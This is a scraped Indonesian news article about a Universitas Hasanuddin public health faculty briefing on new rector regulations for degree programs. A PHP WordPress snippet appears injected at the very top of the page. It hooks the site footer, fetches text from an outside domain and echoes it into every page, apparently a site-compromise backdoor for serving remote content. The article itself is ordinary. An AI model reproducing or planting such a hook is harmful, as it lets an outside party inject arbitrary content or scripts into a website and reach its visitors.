function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');FKM UNHAS GELAR SOSIALISASI PERATURAN REKTOR TENTANG PENYELENGGARAAN PENDIDIKAN PROGRAM SARJANA, MAGISTER, DAN DOKTOR - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Jumat, 5 Januari 2024 - 08:32 WIB

FKM UNHAS GELAR SOSIALISASI PERATURAN REKTOR TENTANG PENYELENGGARAAN PENDIDIKAN PROGRAM SARJANA, MAGISTER, DAN DOKTOR

Doc. Sosialisasi peraturan rektor tentang penyelenggaraan pendidikan program sarjana, magister, dan doktor (Istimewa)

Doc. Sosialisasi peraturan rektor tentang penyelenggaraan pendidikan program sarjana, magister, dan doktor (Istimewa)

Jumat, 05 Januari 2024-Fakultas Kesehatan Masyarakat (FKM) Unhas menggelar kegiatan sosialisasi peraturan rektor tentang penyelenggaraan pendidikan program sarjana, magister, dan doktor. Kegiatan ini diselenggarakan di Ruang Prof Dr. Nur Nasry Noor, MPH dan secara hybrid melalui aplikasi Zoom Meeting.

Kegiatan yang dihadiri oleh para Ketua Program Studi S1, S2, dan S3 di lingkup FKM Unhas, Pimpinan Departemen, dosen dan tenaga kependidikan di FKM Unhas.  Narasumber sosialisasi Direktur Pendidikan Unhas Dr. Risma Illa Maulany S.Hut, M.NatRest. dan Kepala Subdirektorat Administrasi Pendidikan Susy Asteria Irafany, S.T, M.Si.

Doc. Sosialisasi peraturan rektor tentang penyelenggaraan pendidikan program sarjana, magister, dan doktor (Istimewa)

Wakil Dekan Bidang Akademik dan Kemahasiswaan Dr. Wahiduddin,SKM, M,Kes yang bertindak sebagai moderator menyampaikan bahwa Peraturan Rektor Unhas tentang penyelenggaraan Pendidikan sarjana, magister, dan doktor tahun 2023  merupakan regulasi terbaru yang sudah melewati proses penyusunan dan pembahasan yang cukup panjang sampai penetapan dan ditandatangani oleh Rektor Unhas.

Direktur Pendidikan Unhas dalam paparannya menyampaikan beberapa hal yang menyebabkan perlunya perubahan terhadap regulasi yang selama ini berlaku di Unhas dintaranya yang berasal dari faktor internal seperti masa studi yang relative panjang, proses pembimbingan kurang efektif dan efisien,regulasi sebelumnya tidak bisa mengakomodir kebutuhan saat ini, permasalahan publikasi, minimalisasi mahasiswa putus studi akibat regulasi nilai E pada mata kuliah, kurikulum yang belum didesain untuk mendukung penyelesaian studi lebih efektif dan efisien serta faktor eksternal dengan keluarnya Permendikbudristek nomor 53 tahun 2023 tentang Penjaminan Mutu Pendidikan Tinggi membuat beberapa hal harus disesuaikan dengan regulasi  yang ada selama ini papar Dr. Risma.

Baca Juga  Dosen FKM Unhas Ikuti Pelatihan Training of Trainer KAP Unicef di Tangerang

Ketiga Peraturan rektor Unhas tersebut yaitu:  No 29/UN4.1/2023  tentang Penyelenggaraan Program Sarjana, No 30/UN.4.1/2023 tentang Penyelenggaraan Program Magister dan No, 31/UN.4.1/2023 tentang Penyelenggaraan Program Doktor. Secara umum regulasi ini terdiri atas batang tubuh sebagai berikut : BAB I, II dan III  tentang Ketentuan Umum, Tujuan dan Penyelenggaraan Program, BAB IV dan V tentang Penerimaan Mahasiswa dan Registrasi, BAB VI tentang Beban Studi dan Masa Studi, BAB VII tentang Kurikulum, BAB VIII tentang Perkuliahan, BAB IX tentang Tugas Akhir, BAB X tentang Pembimbing Akademik, Pembimbing Tugas Akhir, dan Penilaian Tugas Akhir, BAB XI Penelitian, Seminar dan Ujian Akhir, BAB XII tentang Status Mahasiswa,  BAB XIII tentang Penilaian, Remedial dan Evaluasi Hasil Belajar, BAB XIV dan XV tentang Syarat dan Predikat Kelulusan, Putus Studi, BAB XVI, XVII, dan XVIII tentang Ijazah, Transkrip, SKPI, Prestasi Akademik Gelar, Wisuda, Sanksi Akademik, BAB XIX tentang  Ketentuan Peralihan dan Penutup.

Baca Juga  Mahasiswa FKM Unhas Mengikuti Program Exchange Student di Okayama University, Japan

Sosialisasi diakhiri dengan tanya jawab dari peserta terkait dengan implementasi regulasi tersebut di program studi. Dan disampaikan bahwa beberapa aturan pada regulasi yang sudah ada akan diatur lebih lanjut dalam, peraturan rektor termasuk fakultas bisa membuat aturan yang lebih tinggi misalnya dalam hal peryaratan penerbitan artikel satu tingkat lebih tinggi dari syarat minimal yang ditetapkan oleh Dekan. Diakhir sesi diskusi Wakil Dekan Bidang Akademik dan Kemahasiswaan menyampaikan bahwa  regulasi peraturan rektor terkait penyelenggaraan Program Sarjana, Magister, dan Doktot Unhas  efektif berlaku mulai Januari 2024.

Share :

Baca Juga

Berita

Penandatanganan IA/MoA Antara Fakultas Kesehatan Masyarakat Universitas Hasanuddin dengan Universitas Okayama

Berita

FKM Unhas Adakan Kegiatan PKKMB 2024 dengan Semangat Membangun Generasi Muda Berdaya dan Berkarya untuk Indonesia Maju

Berita

MEMBANGUN GENERASI EMAS DESA ULAWENG CINNONG, TIM PPK ORMAWA LD AL-‘AAFIYAH FKM UNHAS SUKSES AJAK BELAJAR AGAMA DAN PEDULI LINGKUNGAN TK/TPA ULAWENG CINNONG

Berita

Mahasiswa KKNT Unhas Gelombang 110 Edukasi Sanitasi dan Pengelolaan Sampah untuk Penurunan Stunting di Desa Bontosunggu, Kepulauan Selayar

Berita

Kunjungan Mahasiswa Kesehatan Lingkungan Universitas Hasanuddin ke Lokasi IPAL Komunal di Kelurahan Banta-Bantaeng Kecamatan Rappocini

Berita

Mahasiswa Magang Promosi Kesehatan FKM Unhas Berperan Aktif dalam Penyuluhan Cuci Tangan Pakai Sabun (CTPS) pada Program BIAS

Berita

Dukung SDGs: Departemen Ilmu Gizi FKM Unhas Edukasi Pemanfatan Kelor pada Ibu Hamil dan Ibu Menyusui

Berita

Mahasiswa PBL 2 FKM UNHAS Posko 22 Telah Melakukan Penyuluhan tentang GERAH (Gerakan Remaja Cegah HIV/AIDS) di SMAN 9 Pangkep, Kelurahan Talaka